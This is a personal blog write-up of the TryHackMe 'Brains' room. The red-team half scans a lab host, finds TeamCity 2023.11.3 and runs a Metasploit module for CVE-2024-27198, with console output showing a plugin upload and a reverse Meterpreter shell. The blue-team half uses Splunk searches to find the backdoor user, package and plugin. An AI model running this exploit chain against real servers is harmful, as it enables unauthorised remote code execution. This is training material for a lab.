I’m still on my CTF grind. I’m still on the TryHackMe platform for this one.
Today I’ll be doing the brains room. This is another Red Team room. Usually I like doing Blue Team excersizes, but CTF events for them are few and far between.
So while I wait for more to pop up, why not do this room! It has a Red and Blue task, so it’s a bit of a Purple Team challenge. Cool!
I’ve been away from my main CTF rig for a while. I might get more into why in another post but for this room I’ll be using the THM AttackBox.
It works pretty well! It’s a bit slow, but it does the job.
Alrighty, onto the Red Team task!
Red: Exploit the server
What is the content of flag.txt in the user’s home folder?
There’s not much to go on here. The text above the question just mentions starting the vulnerable server.
Once we’ve started the server we can run an nmap scan on it.
root@ip-10-10-157-165:~# nmap 10.10.174.121
Starting Nmap 7.80 ( https://nmap.org ) at 2025-04-18 19:38 BST
Nmap scan report for 10.10.174.121
Host is up (0.00064s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
50000/tcp open ibm-db2
Cool! Looks like we’ll be ssh-ing in at some point (To get the flag most likely).
For now I want to take a look at the website hosted on port 80.
Well, maybe there’s something hidden in the HTML.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<div class="container">
<h1>Maintenance</h1>
<p>We're currently performing some maintenance. Please check back soon.</p>
</div>
</body>
</html>
I’ve removed the CSS. There were no giveaways, but now I’m left wondering what to do.
There are no references to any other pages. So let’s give gobuster a try.
root@ip-10-10-157-165:~# gobuster dir -u http://10.10.174.121:80 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.174.121:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/index.php (Status: 200) [Size: 1069]
/server-status (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
We know /index.php already, the other four pages are pretty useless if they’re returning 403’s.
The size of the pages is also a bit of a giveaway. There’s nothing else we can get from these pages.
Let’s see what’s running on port 50000. I checked this in the browser, just in case:
Cool! We get a TeamCity login!
The version number is usually the first thing I search. I did a quick search for ‘TeamCity version 2023.11.3’ and saw this post. An auth bypass will be useful for sure!
The above post has a pretty thorough process of exploiting TeamCity.
To get a bit meta here, TeamCity is made by JetBrains, so it feels like I’m on the right track!
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 10.10.174.121
RHOSTS => 10.10.174.121
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RPORT 50000
RPORT => 50000
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit
[*] Started reverse TCP handler on 10.10.157.165:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.Q04xNEtNbE1TbGthcUR6elNOLTNEWnM4MEE4.MTI1NDk3OWUtZTRhYy00ZmUyLWEzMmItNzcxYWI5ZDg1MDdm
[*] Uploading plugin: MfN1Pzmb
[*] Sending stage (58073 bytes) to 10.10.174.121
[*] Deleting the plugin...
[+] Deleted /opt/teamcity/TeamCity/work/Catalina/localhost/ROOT/TC_147512_MfN1Pzmb
[+] Deleted /home/ubuntu/.BuildServer/system/caches/plugins.unpacked/MfN1Pzmb
[*] Meterpreter session 1 opened (10.10.157.165:4444 -> 10.10.174.121:34118) at 2025-04-18 20:23:08 +0100
[*] Deleting the authentication token...
[!] This exploit may require manual cleanup of '/opt/teamcity/TeamCity/webapps/ROOT/plugins/MfN1Pzmb' on the target
That was surprisingly easy.
meterpreter > cd ~/
meterpreter > ls
Listing: /home/ubuntu
=====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 4096 dir 2025-04-18 18:45:30 +0100 .BuildServer
000667/rw-rw-rwx 0 fif 2025-04-18 18:44:45 +0100 .bash_history
100667/rw-rw-rwx 220 fil 2020-02-25 12:03:22 +0000 .bash_logout
100667/rw-rw-rwx 3771 fil 2020-02-25 12:03:22 +0000 .bashrc
040777/rwxrwxrwx 4096 dir 2024-07-02 10:39:13 +0100 .cache
040777/rwxrwxrwx 4096 dir 2024-08-02 09:54:40 +0100 .config
040777/rwxrwxrwx 4096 dir 2024-07-02 10:40:18 +0100 .local
100667/rw-rw-rwx 807 fil 2020-02-25 12:03:22 +0000 .profile
100667/rw-rw-rwx 66 fil 2024-07-02 10:59:35 +0100 .selected_editor
040777/rwxrwxrwx 4096 dir 2024-07-02 10:38:50 +0100 .ssh
100667/rw-rw-rwx 0 fil 2024-07-02 10:39:21 +0100 .sudo_as_admin_successful
100667/rw-rw-rwx 214 fil 2024-07-02 10:46:35 +0100 .wget-hsts
100666/rw-rw-rw- 4829 fil 2024-07-02 15:55:04 +0100 config.log
100666/rw-rw-rw- 38 fil 2024-07-02 11:05:47 +0100 flag.txt
meterpreter > cat ~/flag.txt
THM{XXXXXXXXXXXXXXXXXXX}
That was the Red Team portion of this room done. That was easy! Maybe I should start doing more of these boxes.
Blue: Let’s investigate.
Now we get to do some forensics on a box that has been exploited the same way.
We get some splunk credentials. So it’s time to take a closer look!
Question 1:
What is the name of the backdoor user which was created on the server after exploitation?
Once we launch the Blue Team VM we can connect to the Splunk instance. The credentials aren’t very secure, but for this CTF they don’t really need to be.
Admittedly I’ve not used Splunk that much. Even though we’re given credentials I was still surprised that I was automatically logged in as the administrator. Cool, I guess?
We can go to ‘Search’ and start sorting through the data.
I was a bit stumped at what to do here. So I just searched for user. That’s a good start, right?
This gives us 328 matching events. It’s a start though!
I decided to filter by the host brains. We don’t want random junk clogging up the output. I then filtered just for the useradd command.
This is the normal command to add users on a linux system.
Searching for host="brains" AND "useradd" gives us:
The answer to the question is here a few times! Easy answer.
We can also see that /var/log/auth.log is the main source to check for this. I probably should have seen this before, but it’s nice to remember.
Question 2:
What is the name of the malicious-looking package installed on the server?
Thinking I was being smart, I searched for host="brains" AND source="/var/log/auth.log" AND "apt install". Unfortunately all of the packages shown were legitimate.
Nothing suspicious here!
I searched for host="brains" AND "install". I expect there to be a lot of events found.
And there are a lot of events! To narrow this down a bit I’m going to just look at /var/log/dpkg.log with host="brains" AND source="/var/log/dpkg.log" AND "install"
There are 99 events here. That’s an okay number to parse manually. I like to filter things down, so we can look at the time-frame from the above answer to confirm when the malicious activity was seen.
The backdoor user was created on the 4th of July, 2024. So we can filter our above search parameter for this timeframe.
There was one one package installed on the same day that the backdoor user was created. So this is the answer!
Question 3:
What is the name of the plugin installed on the server after successful exploitation?
I don’t know where installed plugins are saved. So I removed /var/log/dpkg.log from our search query.
Then I changed the string from ‘install’ to ‘plugin’. It’s simple, but it surprisingly got the job done.
host="brains" AND "plugin"
And with that the room is done.
Conclusion
I’ve been on a roll lately with blog posts.
In 2024 I posted a blog post every two months or so. Now that I’m properly stepping up my game on TryHackMe I’m feeling motivated to get even more done.